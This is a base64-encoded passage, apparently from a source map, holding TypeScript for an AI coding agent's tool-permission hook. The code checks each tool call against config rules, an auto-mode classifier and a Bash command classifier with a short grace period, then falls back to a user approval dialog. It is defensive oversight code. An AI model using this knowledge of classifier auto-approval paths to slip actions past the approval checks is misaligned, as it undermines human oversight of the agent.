wibm93IiwiYWRkTm90aWZpY2F0aW9uIiwia2V5IiwicHJpb3JpdHkiLCJqc3giLCJ1c2VyRmFjaW5nTmFtZSIsInRvTG93ZXJDYXNlIiwiYXdhaXRBdXRvbWF0ZWRDaGVja3NCZWZvcmVEaWFsb2ciLCJjb29yZGluYXRvckRlY2lzaW9uIiwicGVuZGluZ0NsYXNzaWZpZXJDaGVjayIsInN1Z2dlc3Rpb25zIiwicGVybWlzc2lvbk1vZGUiLCJtb2RlIiwic3dhcm1EZWNpc2lvbiIsInNwZWN1bGF0aXZlUHJvbWlzZSIsImNvbW1hbmQiLCJyYWNlUmVzdWx0IiwicmFjZSIsIl90ZW1wIiwiX3RlbXAyIiwibWF0Y2hlcyIsImNvbmZpZGVuY2UiLCJtYXRjaGVkUnVsZSIsIm1hdGNoZWREZXNjcmlwdGlvbiIsImNvbnN0IiwiYnJpZGdlQ2FsbGJhY2tzIiwicmVwbEJyaWRnZVBlcm1pc3Npb25DYWxsYmFja3MiLCJjaGFubmVsQ2FsbGJhY2tzIiwiY2hhbm5lbFBlcm1pc3Npb25DYWxsYmFja3MiLCJjYXRjaCIsImVycm9yIiwiY29uc3RydWN0b3IiLCJtZXNzYWdlIiwibG9nQ2FuY2VsbGVkIiwiY2FuY2VsQW5kQWJvcnQiLCJmaW5hbGx5IiwicmVzIiwic2V0VGltZW91dCIsInIiXSwic291cmNlcyI6WyJ1c2VDYW5Vc2VUb29sLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgeyBmZWF0dXJlIH0gZnJvbSAnYnVuOmJ1bmRsZSdcbmltcG9ydCB7IEFQSVVzZXJBYm9ydEVycm9yIH0gZnJvbSAnQGFudGhyb3BpYy1haS9zZGsnXG5pbXBvcnQgKiBhcyBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB7IHVzZUNhbGxiYWNrIH0gZnJvbSAncmVhY3QnXG5pbXBvcnQge1xuICB0eXBlIEFuYWx5dGljc01ldGFkYXRhX0lfVkVSSUZJRURfVEhJU19JU19OT1RfQ09ERV9PUl9GSUxFUEFUSFMsXG4gIGxvZ0V2ZW50LFxufSBmcm9tICdzcmMvc2VydmljZXMvYW5hbHl0aWNzL2luZGV4LmpzJ1xuaW1wb3J0IHsgc2FuaXRpemVUb29sTmFtZUZvckFuYWx5dGljcyB9IGZyb20gJ3NyYy9zZXJ2aWNlcy9hbmFseXRpY3MvbWV0YWRhdGEuanMnXG5pbXBvcnQgdHlwZSB7IFRvb2xVc2VDb25maXJtIH0gZnJvbSAnLi4vY29tcG9uZW50cy9wZXJtaXNzaW9ucy9QZXJtaXNzaW9uUmVxdWVzdC5qcydcbmltcG9ydCB7IFRleHQgfSBmcm9tICcuLi9pbmsuanMnXG5pbXBvcnQgdHlwZSB7XG4gIFRvb2xQZXJtaXNzaW9uQ29udGV4dCxcbiAgVG9vbCBhcyBUb29sVHlwZSxcbiAgVG9vbFVzZUNvbnRleHQsXG59IGZyb20gJy4uL1Rvb2wuanMnXG5pbXBvcnQge1xuICBjb25zdW1lU3BlY3VsYXRpdmVDbGFzc2lmaWVyQ2hlY2ssXG4gIHBlZWtTcGVjdWxhdGl2ZUNsYXNzaWZpZXJDaGVjayxcbn0gZnJvbSAnLi4vdG9vbHMvQmFzaFRvb2wvYmFzaFBlcm1pc3Npb25zLmpzJ1xuaW1wb3J0IHsgQkFTSF9UT09MX05BTUUgfSBmcm9tICcuLi90b29scy9CYXNoVG9vbC90b29sTmFtZS5qcydcbmltcG9ydCB0eXBlIHsgQXNzaXN0YW50TWVzc2FnZSB9IGZyb20gJy4uL3R5cGVzL21lc3NhZ2UuanMnXG5pbXBvcnQgeyByZWNvcmRBdXRvTW9kZURlbmlhbCB9IGZyb20gJy4uL3V0aWxzL2F1dG9Nb2RlRGVuaWFscy5qcydcbmltcG9ydCB7XG4gIGNsZWFyQ2xhc3NpZmllckNoZWNraW5nLFxuICBzZXRDbGFzc2lmaWVyQXBwcm92YWwsXG4gIHNldFlvbG9DbGFzc2lmaWVyQXBwcm92YWwsXG59IGZyb20gJy4uL3V0aWxzL2NsYXNzaWZpZXJBcHByb3ZhbHMuanMnXG5pbXBvcnQgeyBsb2dGb3JEZWJ1Z2dpbmcgfSBmcm9tICcuLi91dGlscy9kZWJ1Zy5qcydcbmltcG9ydCB7IEFib3J0RXJyb3IgfSBmcm9tICcuLi91dGlscy9lcnJvcnMuanMnXG5pbXBvcnQgeyBsb2dFcnJvciB9IGZyb20gJy4uL3V0aWxzL2xvZy5qcydcbmltcG9ydCB0eXBlIHsgUGVybWlzc2lvbkRlY2lzaW9uIH0gZnJvbSAnLi4vdXRpbHMvcGVybWlzc2lvbnMvUGVybWlzc2lvblJlc3VsdC5qcydcbmltcG9ydCB7IGhhc1Blcm1pc3Npb25zVG9Vc2VUb29sIH0gZnJvbSAnLi4vdXRpbHMvcGVybWlzc2lvbnMvcGVybWlzc2lvbnMuanMnXG5pbXBvcnQgeyBqc29uU3RyaW5naWZ5IH0gZnJvbSAnLi4vdXRpbHMvc2xvd09wZXJhdGlvbnMuanMnXG5pbXBvcnQgeyBoYW5kbGVDb29yZGluYXRvclBlcm1pc3Npb24gfSBmcm9tICcuL3Rvb2xQZXJtaXNzaW9uL2hhbmRsZXJzL2Nvb3JkaW5hdG9ySGFuZGxlci5qcydcbmltcG9ydCB7IGhhbmRsZUludGVyYWN0aXZlUGVybWlzc2lvbiB9IGZyb20gJy4vdG9vbFBlcm1pc3Npb24vaGFuZGxlcnMvaW50ZXJhY3RpdmVIYW5kbGVyLmpzJ1xuaW1wb3J0IHsgaGFuZGxlU3dhcm1Xb3JrZXJQZXJtaXNzaW9uIH0gZnJvbSAnLi90b29sUGVybWlzc2lvbi9oYW5kbGVycy9zd2FybVdvcmtlckhhbmRsZXIuanMnXG5pbXBvcnQge1xuICBjcmVhdGVQZXJtaXNzaW9uQ29udGV4dCxcbiAgY3JlYXRlUGVybWlzc2lvblF1ZXVlT3BzLFxufSBmcm9tICcuL3Rvb2xQZXJtaXNzaW9uL1Blcm1pc3Npb25Db250ZXh0LmpzJ1xuaW1wb3J0IHsgbG9nUGVybWlzc2lvbkRlY2lzaW9uIH0gZnJvbSAnLi90b29sUGVybWlzc2lvbi9wZXJtaXNzaW9uTG9nZ2luZy5qcydcblxuZXhwb3J0IHR5cGUgQ2FuVXNlVG9vbEZuPFxuICBJbnB1dCBleHRlbmRzIFJlY29yZDxzdHJpbmcsIHVua25vd24+ID0gUmVjb3JkPHN0cmluZywgdW5rbm93bj4sXG4+ID0gKFxuICB0b29sOiBUb29sVHlwZSxcbiAgaW5wdXQ6IElucHV0LFxuICB0b29sVXNlQ29udGV4dDogVG9vbFVzZUNvbnRleHQsXG4gIGFzc2lzdGFudE1lc3NhZ2U6IEFzc2lzdGFudE1lc3NhZ2UsXG4gIHRvb2xVc2VJRDogc3RyaW5nLFxuICBmb3JjZURlY2lzaW9uPzogUGVybWlzc2lvbkRlY2lzaW9uPElucHV0PixcbikgPT4gUHJvbWlzZTxQZXJtaXNzaW9uRGVjaXNpb248SW5wdXQ+PlxuXG5mdW5jdGlvbiB1c2VDYW5Vc2VUb29sKFxuICBzZXRUb29sVXNlQ29uZmlybVF1ZXVlOiBSZWFjdC5EaXNwYXRjaDxcbiAgICBSZWFjdC5TZXRTdGF0ZUFjdGlvbjxUb29sVXNlQ29uZmlybVtdPlxuICA+LFxuICBzZXRUb29sUGVybWlzc2lvbkNvbnRleHQ6IChjb250ZXh0OiBUb29sUGVybWlzc2lvbkNvbnRleHQpID0+IHZvaWQsXG4pOiBDYW5Vc2VUb29sRm4ge1xuICByZXR1cm4gdXNlQ2FsbGJhY2s8Q2FuVXNlVG9vbEZuPihcbiAgICBhc3luYyAoXG4gICAgICB0b29sLFxuICAgICAgaW5wdXQsXG4gICAgICB0b29sVXNlQ29udGV4dCxcbiAgICAgIGFzc2lzdGFudE1lc3NhZ2UsXG4gICAgICB0b29sVXNlSUQsXG4gICAgICBmb3JjZURlY2lzaW9uLFxuICAgICkgPT4ge1xuICAgICAgcmV0dXJuIG5ldyBQcm9taXNlKHJlc29sdmUgPT4ge1xuICAgICAgICBjb25zdCBjdHggPSBjcmVhdGVQZXJtaXNzaW9uQ29udGV4dChcbiAgICAgICAgICB0b29sLFxuICAgICAgICAgIGlucHV0LFxuICAgICAgICAgIHRvb2xVc2VDb250ZXh0LFxuICAgICAgICAgIGFzc2lzdGFudE1lc3NhZ2UsXG4gICAgICAgICAgdG9vbFVzZUlELFxuICAgICAgICAgIHNldFRvb2xQZXJtaXNzaW9uQ29udGV4dCxcbiAgICAgICAgICBjcmVhdGVQZXJtaXNzaW9uUXVldWVPcHMoc2V0VG9vbFVzZUNvbmZpcm1RdWV1ZSksXG4gICAgICAgIClcblxuICAgICAgICBpZiAoY3R4LnJlc29sdmVJZkFib3J0ZWQocmVzb2x2ZSkpIHJldHVyblxuXG4gICAgICAgIGNvbnN0IGRlY2lzaW9uUHJvbWlzZSA9XG4gICAgICAgICAgZm9yY2VEZWNpc2lvbiAhPT0gdW5kZWZpbmVkXG4gICAgICAgICAgICA/IFByb21pc2UucmVzb2x2ZShmb3JjZURlY2lzaW9uKVxuICAgICAgICAgICAgOiBoYXNQZXJtaXNzaW9uc1RvVXNlVG9vbChcbiAgICAgICAgICAgICAgICB0b29sLFxuICAgICAgICAgICAgICAgIGlucHV0LFxuICAgICAgICAgICAgICAgIHRvb2xVc2VDb250ZXh0LFxuICAgICAgICAgICAgICAgIGFzc2lzdGFudE1lc3NhZ2UsXG4gICAgICAgICAgICAgICAgdG9vbFVzZUlELFxuICAgICAgICAgICAgICApXG5cbiAgICAgICAgcmV0dXJuIGRlY2lzaW9uUHJvbWlzZVxuICAgICAgICAgIC50aGVuKGFzeW5jIHJlc3VsdCA9PiB7XG4gICAgICAgICAgICAvLyBbQU5ULU9OTFldIExvZyBhbGwgdG9vbCBwZXJtaXNzaW9uIGRlY2lzaW9ucyB3aXRoIHRvb2wgbmFtZSBhbmQgYXJnc1xuICAgICAgICAgICAgaWYgKFwiZXh0ZXJuYWxcIiA9PT0gJ2FudCcpIHtcbiAgICAgICAgICAgICAgbG9nRXZlbnQoJ3Rlbmd1X2ludGVybmFsX3Rvb2xfcGVybWlzc2lvbl9kZWNpc2lvbicsIHtcbiAgICAgICAgICAgICAgICB0b29sTmFtZTogc2FuaXRpemVUb29sTmFtZUZvckFuYWx5dGljcyh0b29sLm5hbWUpLFxuICAgICAgICAgICAgICAgIGJlaGF2aW9yOlxuICAgICAgICAgICAgICAgICAgcmVzdWx0LmJlaGF2aW9yIGFzIEFuYWx5dGljc01ldGFkYXRhX0lfVkVSSUZJRURfVEhJU19JU19OT1RfQ09ERV9PUl9GSUxFUEFUSFMsXG4gICAgICAgICAgICAgICAgLy8gTm90ZTogaW5wdXQgY29udGFpbnMgY29kZS9maWxlcGF0aHMsIG9ubHkgbG9nIGZvciBhbnRzXG4gICAgICAgICAgICAgICAgaW5wdXQ6IGpzb25TdHJpbmdpZnkoXG4gICAgICAgICAgICAgICAgICBpbnB1dCxcbiAgICAgICAgICAgICAgICApIGFzIEFuYWx5dGljc01ldGFkYXRhX0lfVkVSSUZJRURfVEhJU19JU19OT1RfQ09ERV9PUl9GSUxFUEFUSFMsXG4gICAgICAgICAgICAgICAgbWVzc2FnZUlEOlxuICAgICAgICAgICAgICAgICAgY3R4Lm1lc3NhZ2VJZCBhcyBBbmFseXRpY3NNZXRhZGF0YV9JX1ZFUklGSUVEX1RISVNfSVNfTk9UX0NPREVfT1JfRklMRVBBVEhTLFxuICAgICAgICAgICAgICAgIGlzTWNwOiB0b29sLmlzTWNwID8/IGZhbHNlLFxuICAgICAgICAgICAgICB9KVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAvLyBIYXMgcGVybWlzc2lvbnMgdG8gdXNlIHRvb2wsIGdyYW50ZWQgaW4gY29uZmlnXG4gICAgICAgICAgICBpZiAocmVzdWx0LmJlaGF2aW9yID09PSAnYWxsb3cnKSB7XG4gICAgICAgICAgICAgIGlmIChjdHgucmVzb2x2ZUlmQWJvcnRlZChyZXNvbHZlKSkgcmV0dXJuXG4gICAgICAgICAgICAgIC8vIFRyYWNrIGF1dG8gbW9kZSBjbGFzc2lmaWVyIGFwcHJvdmFscyBmb3IgVUkgZGlzcGxheVxuICAgICAgICAgICAgICBpZiAoXG4gICAgICAgICAgICAgICAgZmVhdHVyZSgnVFJBTlNDUklQVF9DTEFTU0lGSUVSJykgJiZcbiAgICAgICAgICAgICAgICByZXN1bHQuZGVjaXNpb25SZWFzb24/LnR5cGUgPT09ICdjbGFzc2lmaWVyJyAmJlxuICAgICAgICAgICAgICAgIHJlc3VsdC5kZWNpc2lvblJlYXNvbi5jbGFzc2lmaWVyID09PSAnYXV0by1tb2RlJ1xuICAgICAgICAgICAgICApIHtcbiAgICAgICAgICAgICAgICBzZXRZb2xvQ2xhc3NpZmllckFwcHJvdmFsKFxuICAgICAgICAgICAgICAgICAgdG9vbFVzZUlELFxuICAgICAgICAgICAgICAgICAgcmVzdWx0LmRlY2lzaW9uUmVhc29uLnJlYXNvbixcbiAgICAgICAgICAgICAgICApXG4gICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICBjdHgubG9nRGVjaXNpb24oeyBkZWNpc2lvbjogJ2FjY2VwdCcsIHNvdXJjZTogJ2NvbmZpZycgfSlcblxuICAgICAgICAgICAgICByZXNvbHZlKFxuICAgICAgICAgICAgICAgIGN0eC5idWlsZEFsbG93KHJlc3VsdC51cGRhdGVkSW5wdXQgPz8gaW5wdXQsIHtcbiAgICAgICAgICAgICAgICAgIGRlY2lzaW9uUmVhc29uOiByZXN1bHQuZGVjaXNpb25SZWFzb24sXG4gICAgICAgICAgICAgICAgfSksXG4gICAgICAgICAgICAgIClcbiAgICAgICAgICAgICAgcmV0dXJuXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGNvbnN0IGFwcFN0YXRlID0gdG9vbFVzZUNvbnRleHQuZ2V0QXBwU3RhdGUoKVxuICAgICAgICAgICAgY29uc3QgZGVzY3JpcHRpb24gPSBhd2FpdCB0b29sLmRlc2NyaXB0aW9uKGlucHV0IGFzIG5ldmVyLCB7XG4gICAgICAgICAgICAgIGlzTm9uSW50ZXJhY3RpdmVTZXNzaW9uOlxuICAgICAgICAgICAgICAgIHRvb2xVc2VDb250ZXh0Lm9wdGlvbnMuaXNOb25JbnRlcmFjdGl2ZVNlc3Npb24sXG4gICAgICAgICAgICAgIHRvb2xQZXJtaXNzaW9uQ29udGV4dDogYXBwU3RhdGUudG9vbFBlcm1pc3Npb25Db250ZXh0LFxuICAgICAgICAgICAgICB0b29sczogdG9vbFVzZUNvbnRleHQub3B0aW9ucy50b29scyxcbiAgICAgICAgICAgIH0pXG5cbiAgICAgICAgICAgIGlmIChjdHgucmVzb2x2ZUlmQWJvcnRlZChyZXNvbHZlKSkgcmV0dXJuXG5cbiAgICAgICAgICAgIC8vIERvZXMgbm90IGhhdmUgcGVybWlzc2lvbnMgdG8gdXNlIHRvb2wsIGNoZWNrIHRoZSBiZWhhdmlvclxuICAgICAgICAgICAgc3dpdGNoIChyZXN1bHQuYmVoYXZpb3IpIHtcbiAgICAgICAgICAgICAgY2FzZSAnZGVueSc6IHtcbiAgICAgICAgICAgICAgICBsb2dQZXJtaXNzaW9uRGVjaXNpb24oXG4gICAgICAgICAgICAgICAgICB7XG4gICAgICAgICAgICAgICAgICAgIHRvb2wsXG4gICAgICAgICAgICAgICAgICAgIGlucHV0LFxuICAgICAgICAgICAgICAgICAgICB0b29sVXNlQ29udGV4dCxcbiAgICAgICAgICAgICAgICAgICAgbWVzc2FnZUlkOiBjdHgubWVzc2FnZUlkLFxuICAgICAgICAgICAgICAgICAgICB0b29sVXNlSUQsXG4gICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgeyBkZWNpc2lvbjogJ3JlamVjdCcsIHNvdXJjZTogJ2NvbmZpZycgfSxcbiAgICAgICAgICAgICAgICApXG4gICAgICAgICAgICAgICAgaWYgKFxuICAgICAgICAgICAgICAgICAgZmVhdHVyZSgnVFJBTlNDUklQVF9DTEFTU0lGSUVSJykgJiZcbiAgICAgICAgICAgICAgICAgIHJlc3VsdC5kZWNpc2lvblJlYXNvbj8udHlwZSA9PT0gJ2NsYXNzaWZpZXInICYmXG4gICAgICAgICAgICAgICAgICByZXN1bHQuZGVjaXNpb25SZWFzb24uY2xhc3NpZmllciA9PT0gJ2F1dG8tbW9kZSdcbiAgICAgICAgICAgICAgICApIHtcbiAgICAgICAgICAgICAgICAgIHJlY29yZEF1dG9Nb2RlRGVuaWFsKHtcbiAgICAgICAgICAgICAgICAgICAgdG9vbE5hbWU6IHRvb2wubmFtZSxcbiAgICAgICAgICAgICAgICAgICAgZGlzcGxheTogZGVzY3JpcHRpb24sXG4gICAgICAgICAgICAgICAgICAgIHJlYXNvbjogcmVzdWx0LmRlY2lzaW9uUmVhc29uLnJlYXNvbiA/PyAnJyxcbiAgICAgICAgICAgICAgICAgICAgdGltZXN0YW1wOiBEYXRlLm5vdygpLFxuICAgICAgICAgICAgICAgICAgfSlcbiAgICAgICAgICAgICAgICAgIHRvb2xVc2VDb250ZXh0LmFkZE5vdGlmaWNhdGlvbj8uKHtcbiAgICAgICAgICAgICAgICAgICAga2V5OiAnYXV0by1tb2RlLWRlbmllZCcsXG4gICAgICAgICAgICAgICAgICAgIHByaW9yaXR5OiAnaW1tZWRpYXRlJyxcbiAgICAgICAgICAgICAgICAgICAganN4OiAoXG4gICAgICAgICAgICAgICAgICAgICAgPD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxUZXh0IGNvbG9yPVwiZXJyb3JcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAge3Rvb2wudXNlckZhY2luZ05hbWUoaW5wdXQpLnRvTG93ZXJDYXNlKCl9IGRlbmllZCBieVxuICAgICAgICAgICAgICAgICAgICAgICAgICBhdXRvIG1vZGVcbiAgICAgICAgICAgICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPiDCtyAvcGVybWlzc2lvbnM8L1RleHQ+XG4gICAgICAgICAgICAgICAgICAgICAgPC8+XG4gICAgICAgICAgICAgICAgICAgICksXG4gICAgICAgICAgICAgICAgICB9KVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICByZXNvbHZlKHJlc3VsdClcbiAgICAgICAgICAgICAgICByZXR1cm5cbiAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgIGNhc2UgJ2Fzayc6IHtcbiAgICAgICAgICAgICAgICAvLyBGb3IgY29vcmRpbmF0b3Igd29ya2VycywgYXdhaXQgYXV0b21hdGVkIGNoZWNrcyBiZWZvcmUgc2hvd2luZyBkaWFsb2cuXG4gICAgICAgICAgICAgICAgLy8gQmFja2dyb3VuZCB3b3JrZXJzIHNob3VsZCBvbmx5IGludGVycnVwdCB0aGUgdXNlciB3aGVuIGF1dG9tYXRlZCBjaGVja3MgY2FuJ3QgZGVjaWRlLlxuICAgICAgICAgICAgICAgIGlmIChcbiAgICAgICAgICAgICAgICAgIGFwcFN0YXRlLnRvb2xQZXJtaXNzaW9uQ29udGV4dFxuICAgICAgICAgICAgICAgICAgICAuYXdhaXRBdXRvbWF0ZWRDaGVja3NCZWZvcmVEaWFsb2dcbiAgICAgICAgICAgICAgICApIHtcbiAgICAgICAgICAgICAgICAgIGNvbnN0IGNvb3JkaW5hdG9yRGVjaXNpb24gPSBhd2FpdCBoYW5kbGVDb29yZGluYXRvclBlcm1pc3Npb24oXG4gICAgICAgICAgICAgICAgICAgIHtcbiAgICAgICAgICAgICAgICAgICAgICBjdHgsXG4gICAgICAgICAgICAgICAgICAgICAgLi4uKGZlYXR1cmUoJ0JBU0hfQ0xBU1NJRklFUicpXG4gICAgICAgICAgICAgICAgICAgICAgICA/IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBwZW5kaW5nQ2xhc3NpZmllckNoZWNrOlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0LnBlbmRpbmdDbGFzc2lmaWVyQ2hlY2ssXG4gICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgIDoge30pLFxuICAgICAgICAgICAgICAgICAgICAgIHVwZGF0ZWRJbnB1dDogcmVzdWx0LnVwZGF0ZWRJbnB1dCxcbiAgICAgICAgICAgICAgICAgICAgICBzdWdnZXN0aW9uczogcmVzdWx0LnN1Z2dlc3Rpb25zLFxuICAgICAgICAgICAgICAgICAgICAgIHBlcm1pc3Npb25Nb2RlOiBhcHBTdGF0ZS50b29sUGVybWlzc2lvbkNvbnRleHQubW9kZSxcbiAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgIClcbiAgICAgICAgICAgICAgICAgIGlmIChjb29yZGluYXRvckRlY2lzaW9uKSB7XG4gICAgICAgICAgICAgICAgICAgIHJlc29sdmUoY29vcmRpbmF0b3JEZWNpc2lvbilcbiAgICAgICAgICAgICAgICAgICAgcmV0dXJuXG4gICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAvLyBudWxsIG1lYW5zIG5laXRoZXIgYXV0b21hdGVkIGNoZWNrIHJlc29sdmVkIC0tIGZhbGwgdGhyb3VnaCB0byBkaWFsb2cgYmVsb3cuXG4gICAgICAgICAgICAgICAgICAvLyBIb29rcyBhbHJlYWR5IHJhbiwgY2xhc3NpZmllciBhbHJlYWR5IGNvbnN1bWVkLlxuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIC8vIEFmdGVyIGF3YWl0aW5nIGF1dG9tYXRlZCBjaGVja3MsIHZlcmlmeSB0aGUgcmVxdWVzdCB3YXNuJ3QgYWJvcnRlZFxuICAgICAgICAgICAgICAgIC8vIHdoaWxlIHdlIHdlcmUgd2FpdGluZy4gV2l0aG91dCB0aGlzIGNoZWNrLCBhIHN0YWxlIGRpYWxvZyBjb3VsZCBhcHBlYXIuXG4gICAgICAgICAgICAgICAgaWYgKGN0eC5yZXNvbHZlSWZBYm9ydGVkKHJlc29sdmUpKSByZXR1cm5cblxuICAgICAgICAgICAgICAgIC8vIEZvciBzd2FybSB3b3JrZXJzLCB0cnkgY2xhc3NpZmllciBhdXRvLWFwcHJvdmFsIHRoZW5cbiAgICAgICAgICAgICAgICAvLyBmb3J3YXJkIHBlcm1pc3Npb24gcmVxdWVzdHMgdG8gdGhlIGxlYWRlciB2aWEgbWFpbGJveC5cbiAgICAgICAgICAgICAgICBjb25zdCBzd2FybURlY2lzaW9uID0gYXdhaXQgaGFuZGxlU3dhcm1Xb3JrZXJQZXJtaXNzaW9uKHtcbiAgICAgICAgICAgICAgICAgIGN0eCxcbiAgICAgICAgICAgICAgICAgIGRlc2NyaXB0aW9uLFxuICAgICAgICAgICAgICAgICAgLi4uKGZlYXR1cmUoJ0JBU0hfQ0xBU1NJRklFUicpXG4gICAgICAgICAgICAgICAgICAgID8ge1xuICAgICAgICAgICAgICAgICAgICAgICAgcGVuZGluZ0NsYXNzaWZpZXJDaGVjazogcmVzdWx0LnBlbmRpbmdDbGFzc2lmaWVyQ2hlY2ssXG4gICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICA6IHt9KSxcbiAgICAgICAgICAgICAgICAgIHVwZGF0ZWRJbnB1dDogcmVzdWx0LnVwZGF0ZWRJbnB1dCxcbiAgICAgICAgICAgICAgICAgIHN1Z2dlc3Rpb25zOiByZXN1bHQuc3VnZ2VzdGlvbnMsXG4gICAgICAgICAgICAgICAgfSlcbiAgICAgICAgICAgICAgICBpZiAoc3dhcm1EZWNpc2lvbikge1xuICAgICAgICAgICAgICAgICAgcmVzb2x2ZShzd2FybURlY2lzaW9uKVxuICAgICAgICAgICAgICAgICAgcmV0dXJuXG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLy8gR3JhY2UgcGVyaW9kOiB3YWl0IHVwIHRvIDJzIGZvciBzcGVjdWxhdGl2ZSBjbGFzc2lmaWVyXG4gICAgICAgICAgICAgICAgLy8gdG8gcmVzb2x2ZSBiZWZvcmUgc2hvd2luZyB0aGUgZGlhbG9nIChtYWluIGFnZW50IG9ubHkpXG4gICAgICAgICAgICAgICAgaWYgKFxuICAgICAgICAgICAgICAgICAgZmVhdHVyZSgnQkFTSF9DTEFTU0lGSUVSJykgJiZcbiAgICAgICAgICAgICAgICAgIHJlc3VsdC5wZW5kaW5nQ2xhc3NpZmllckNoZWNrICYmXG4gICAgICAgICAgICAgICAgICB0b29sLm5hbWUgPT09IEJBU0hfVE9PTF9OQU1FICYmXG4gICAgICAgICAgICAgICAgICAhYXBwU3RhdGUudG9vbFBlcm1pc3Npb25Db250ZXh0XG4gICAgICAgICAgICAgICAgICAgIC5hd2FpdEF1dG9tYXRlZENoZWNrc0JlZm9yZURpYWxvZ1xuICAgICAgICAgICAgICAgICkge1xuICAgICAgICAgICAgICAgICAgY29uc3Qgc3BlY3VsYXRpdmVQcm9taXNlID0gcGVla1NwZWN1bGF0aXZlQ2xhc3NpZmllckNoZWNrKFxuICAgICAgICAgICAgICAgICAgICAoaW5wdXQgYXMgeyBjb21tYW5kOiBzdHJpbmcgfSkuY29tbWFuZCxcbiAgICAgICAgICAgICAgICAgIClcbiAgICAgICAgICAgICAgICAgIGlmIChzcGVjdWxhdGl2ZVByb21pc2UpIHtcbiAgICAgICAgICAgICAgICAgICAgY29uc3QgcmFjZVJlc3VsdCA9IGF3YWl0IFByb21pc2UucmFjZShbXG4gICAgICAgICAgICAgICAgICAgICAgc3BlY3VsYXRpdmVQcm9taXNlLnRoZW4ociA9PiAoe1xuICAgICAgICAgICAgICAgICAgICAgICAgdHlwZTogJ3Jlc3VsdCcgYXMgY29uc3QsXG4gICAgICAgICAgICAgICAgICAgICAgICByZXN1bHQ6IHIsXG4gICAgICAgICAgICAgICAgICAgICAgfSkpLFxuICAgICAgICAgICAgICAgICAgICAgIG5ldyBQcm9taXNlPHsgdHlwZTogJ3RpbWVvdXQnIH0+KHJlcyA9PlxuICAgICAgICAgICAgICAgICAgICAgICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIG5vLXJlc3RyaWN0ZWQtc3ludGF4IC0tIHJlc29sdmVzIHdpdGggYSB2YWx1ZSwgbm90IHZvaWRcbiAgICAgICAgICAgICAgICAgICAgICAgIHNldFRpbWVvdXQocmVzLCAyMDAwLCB7IHR5cGU6ICd0aW1lb3V0JyBhcyBjb25zdCB9KSxcbiAgICAgICAgICAgICAgICAgICAgICApLFxuICAgICAgICAgICAgICAgICAgICBdKVxuXG4gICAgICAgICAgICAgICAgICAgIGlmIChjdHgucmVzb2x2ZUlmQWJvcnRlZChyZXNvbHZlKSkgcmV0dXJuXG5cbiAgICAgICAgICAgICAgICAgICAgaWYgKFxuICAgICAgICAgICAgICAgICAgICAgIHJhY2VSZXN1bHQudHlwZSA9PT0gJ3Jlc3VsdCcgJiZcbiAgICAgICAgICAgICAgICAgICAgICByYWNlUmVzdWx0LnJlc3VsdC5tYXRjaGVzICYmXG4gICAgICAgICAgICAgICAgICAgICAgcmFjZVJlc3VsdC5yZXN1bHQuY29uZmlkZW5jZSA9PT0gJ2hpZ2gnICYmXG4gICAgICAgICAgICAgICAgICAgICAgZmVhdHVyZSgnQkFTSF9DTEFTU0lGSUVSJylcbiAgICAgICAgICAgICAgICAgICAgKSB7XG4gICAgICAgICAgICAgICAgICAgICAgLy8gQ2xhc3NpZmllciBhcHByb3ZlZCB3aXRoaW4gZ3JhY2UgcGVyaW9kIOKAlCBza2lwIGRpYWxvZ1xuICAgICAgICAgICAgICAgICAgICAgIHZvaWQgY29uc3VtZVNwZWN1bGF0aXZlQ2xhc3NpZmllckNoZWNrKFxuICAgICAgICAgICAgICAgICAgICAgICAgKGlucHV0IGFzIHsgY29tbWFuZDogc3RyaW5nIH0pLmNvbW1hbmQsXG4gICAgICAgICAgICAgICAgICAgICAgKVxuXG4gICAgICAgICAgICAgICAgICAgICAgY29uc3QgbWF0Y2hlZFJ1bGUgPVxuICAgICAgICAgICAgICAgICAgICAgICAgcmFjZVJlc3VsdC5yZXN1bHQubWF0Y2hlZERlc2NyaXB0aW9uID8/IHVuZGVmaW5lZFxuICAgICAgICAgICAgICAgICAgICAgIGlmIChtYXRjaGVkUnVsZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgc2V0Q2xhc3NpZmllckFwcHJvdmFsKHRvb2xVc2VJRCwgbWF0Y2hlZFJ1bGUpXG4gICAgICAgICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgICAgICAgY3R4LmxvZ0RlY2lzaW9uKHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGRlY2lzaW9uOiAnYWNjZXB0JyxcbiAgICAgICAgICAgICAgICAgICAgICAgIHNvdXJjZTogeyB0eXBlOiAnY2xhc3NpZmllcicgfSxcbiAgICAgICAgICAgICAgICAgICAgICB9KVxuICAgICAgICAgICAgICAgICAgICAgIHJlc29sdmUoXG4gICAgICAgICAgICAgICAgICAgICAgICBjdHguYnVpbGRBbGxvdyhcbiAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0LnVwZGF0ZWRJbnB1dCA/P1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIChpbnB1dCBhcyBSZWNvcmQ8c3RyaW5nLCB1bmtub3duPiksXG4gICAgICAgICAgICAgICAgICAgICAgICAgIHtcbiAgICAgICAgICAgICAgICAgICAgICAgI